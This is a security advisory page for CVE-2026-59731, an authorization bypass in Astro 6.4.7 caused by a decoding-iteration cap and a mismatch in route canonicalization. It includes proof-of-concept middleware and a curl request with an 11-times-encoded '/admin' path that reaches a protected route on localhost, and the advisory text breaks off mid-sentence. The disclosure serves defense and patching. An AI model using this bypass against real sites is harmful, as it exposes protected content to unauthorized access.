Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-59731 — astro

🟠 CVSS 8.2 — High ✅ No Known Exploit CWE-647 NVD
8.2
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Summary

Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.

The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.

As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.

Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions

Vulnerable Pattern

Middleware authorization sees:

```text

/%61dmin

```

Later rewrite route matching sees:

```text

/admin

```

This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.

Root Cause

Iterative Decoding Logic

PR #16967 introduced iterative URI decoding:

```js

let iterations = 0;

while (decoded !== pathname && iterations < 10) {

pathname = decoded;

try {

decoded = decodeURI(pathname);

} catch {

// decodeURI can fail when a decoded literal '%' forms an

// invalid sequence with adjacent characters.

break;

}

iterations++;

}

return decoded;

```

The intent was to ensure middleware receives a fully decoded canonical pathname.

However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.

Rewrite Route Matching

Later, Astro performs another decode during route matching:

```js

const decodedPathname = decodeURI(pathname);

```

Consequently:

```text

Middleware pathname: /%61dmin

Route matcher: /admin

```

This creates a canonicalization mismatch between authorization logic and routing logic.

Proof of Concept

Middleware

```js

import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (context, next) => {

const pathname = context.url.pathname;

if (pathname === '/admin' || pathname.startsWith('/admin/')) {

return new Response(

'403 Forbidden: middleware blocked canonical /admin',

{

status: 403,

headers: {

'content-type': 'text/plain;charset=UTF-8',

'x-middleware-pathname': pathname,

},

}

);

}

if (pathname !== '/') {

const response = await next(context.url);

response.headers.set('x-middleware-pathname', pathname);

response.headers.set(

'x-vuln-pattern',

'next(context.url) rewrite after pathname check'

);

return response;

}

return next();

});

```

The critical pattern is:

```js

return next(context.url);

```

The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.

Reproduction

Protected Route

```bash

curl -i http://127.0.0.1:8989/admin

```

Response:

```http

HTTP/1.1 403 Forbidden

x-middleware-pathname: /admin

403 Forbidden: middleware blocked canonical /admin

```

Bypass Request

```bash

curl -i http://127.0.0.1:8989/%252525252525252525252561dmin

```

Response:

```http

HTTP/1.1 200 OK

x-middleware-pathname: /%61dmin

x-vuln-pattern: next(context.url) rewrite after pathname check

Admin page reached

Protected content rendered after rewrite route matching.

request url: http://127.0.0.1:8989/%61dmin

```

This demonstrates:

```text

Middleware saw: /%61dmin

Router reached: /admin

```

Encoding Depth Analysis

The bypass occurs at encoding depth 11.

Decoder Trace

```text

depth 0: /%61dmin -> /admin

depth 1: /%2561dmin -> /admin

depth 2: /%252561dmin -> /admin

depth 3: /%25252561dmin -> /admin

depth 4: /%2525252561dmin -> /admin

depth 5: /%252525252561dmin -> /admin

depth 6: /%25252525252561dmin -> /admin

depth 7: /%2525252525252561dmin -> /admin

depth 8: /%252525252525252561dmin -> /admin

depth 9: /%25252525252525252561dmin -> /admin

depth 10: /%2525252525252525252561dmin -> /admin

depth 11: /%252525252525252525252561dmin -> /%61dmin

```

Depths 0–10 are fully decoded and blocked by middleware.

Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.

A later decodeURI() converts:

```text

/%61dmin

```

into:

```text

/admin

```

allowing route matching to reach the protected endpoint.

Exploit Preconditions

Exploitation requires:

1. Path-Based Authorization

Middleware performs authorization using:

```js

context.url.pathname

```

For example:

```js

i

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-59731 is classified as CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions. The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

Affected software

CVE-2026-59731 is recorded against 2 packages.

  • astro
  • unknown

Timeline and source

Published on 20 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

astro has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions) in other software:

Details

Severity HIGH
CVSS Score 8.2
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CWE CWE-647
Public Exploit ✅ No
Source NVD
Published 2026-07-20
Updated 2026-08-20
Modified 2026-07-20
Fix URL N/A

Affected Packages

Software From version Fixed in
astro — —
unknown — —

Site Security Check

Is astro part of your stack?

CVE-2026-59731 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓